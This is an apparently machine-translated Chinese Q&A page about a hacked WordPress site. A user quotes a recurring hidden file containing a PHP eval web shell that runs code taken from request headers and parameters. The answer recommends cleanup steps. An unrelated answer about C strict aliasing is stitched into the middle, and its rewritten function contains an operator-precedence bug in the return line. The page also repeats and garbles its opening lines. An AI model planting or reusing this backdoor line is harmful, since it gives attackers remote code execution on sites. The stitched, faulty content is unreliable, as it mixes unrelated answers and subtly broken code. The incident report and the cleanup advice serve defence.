我一直在监视我的 wordpress 安装,并且不时在 /wp-content/mu-plugins/wp-nc-easywp/plugin/Http/Checker/ 等位置创建文件

文件名始终以 .1599.... 开头,后跟随机数 ex。.1599674957 或 .1599,php,wordpress,security"/>

首页 > 解决方案 > 这是我的 wordpress 安装中的 php 漏洞吗?

我一直在监视我的 wordpress 安装,并且不时在 /wp-content/mu-plugins/wp-nc-easywp/plugin/Http/Checker/ 等位置创建文件

文件名始终以 .1599.... 开头,后跟随机数 ex。.1599674957 或 .1599

问题描述

我一直在监视我的 wordpress 安装,并且不时在 /wp-content/mu-plugins/wp-nc-easywp/plugin/Http/Checker/ 等位置创建文件

文件名始终以 .1599.... 开头,后跟随机数 ex。.1599674957 或 .1599875789

这个文件里面的代码是 <?php @eval($_HEADERS["E"]);@eval($_REQUEST["E"]);

我所做的是在 wordpress 文件夹中递归删除所有带有 .1599* 的文件。

我该如何解决这个问题?

感谢您的帮助


主要问题不太可能出在函数a_inverse()本身,volatile如果数据实际上不是易失性的,则 -qualifying 参数改变行为的事实是偶然的。

很可能,问题的根源实际上在调用者身上。实际上,在评论中,您描述了计算参数指针,如下所示:

uint32_t *whole = ...;
uint16_t *left = (uint16_t *) whole;
uint16_t *right = left + 1;

大概会跟进一个电话,例如

a_inverse(left, right);

. uint16_t *允许强制类型转换。指针算法的允许性是有争议的,但在实践中它不太可能成为问题。但是由于结果leftright指针实际上并不指向uint16_t对象,因此试图使用它们来访问它们所指向的对象违反了严格的别名规则(C18,第 6.5/7 段),因此会产生未定义的行为。

严格的别名规则说,只能通过兼容类型的左值 +/- 限定和符号差异(可能在联合中)或通过字符类型的左值来访问对象。(后者的主要含义是您可以通过 . 访问任何对象的表示char *。)这允许编译器使用数据类型分析来通知优化选择。

GCC 有一个标志,-fno-strict-aliasing,它告诉它不要使用类型分析来做出优化决策——基本上,迫使它假设任何指针都可以别名为任何其他指针。如果您不想解决问题,那么使用该标志可能会缓解它。

另一方面,我怀疑所有指针(错误)使用都是错误的优化尝试。我会在没有以下情况下重写函数:

uint32_t a_inverse(uint32_t whole) {
    uint16_t left = whole;  // x86 is little-endian
    uint16_t right = whole >> 16;

    right ^= left;
    right  = ROTL16(right, 14);
    left  -= right;
    left   = ROTL16(left, 7);

    return right << 16 + left;
}

...并期望它至少一样快,尤其是因为没有混叠风险来限制可用的优化。

标签: phpwordpresssecurity

解决方案


您的网站被黑了。这些通常被黑客插入到您的 PHP 文件中。你应该:

  1. 用这个查找所有文件。
  2. 将所有这些文件恢复到其原始状态(通过从 WordPress.org 下载或手动修复)
  3. 删除任何不应该在您的 WordPress 中的文件。
  4. 在 WordPress 上传文件夹中查找所有 PHP 文件并将其删除(它们不应该在那里)
  5. 将您的 WordPress 核心和所有插件更新到最新版本以消除潜在的漏洞。

一般来说,您应该定期备份。你应该经常更新你的 WordPress。


推荐阅读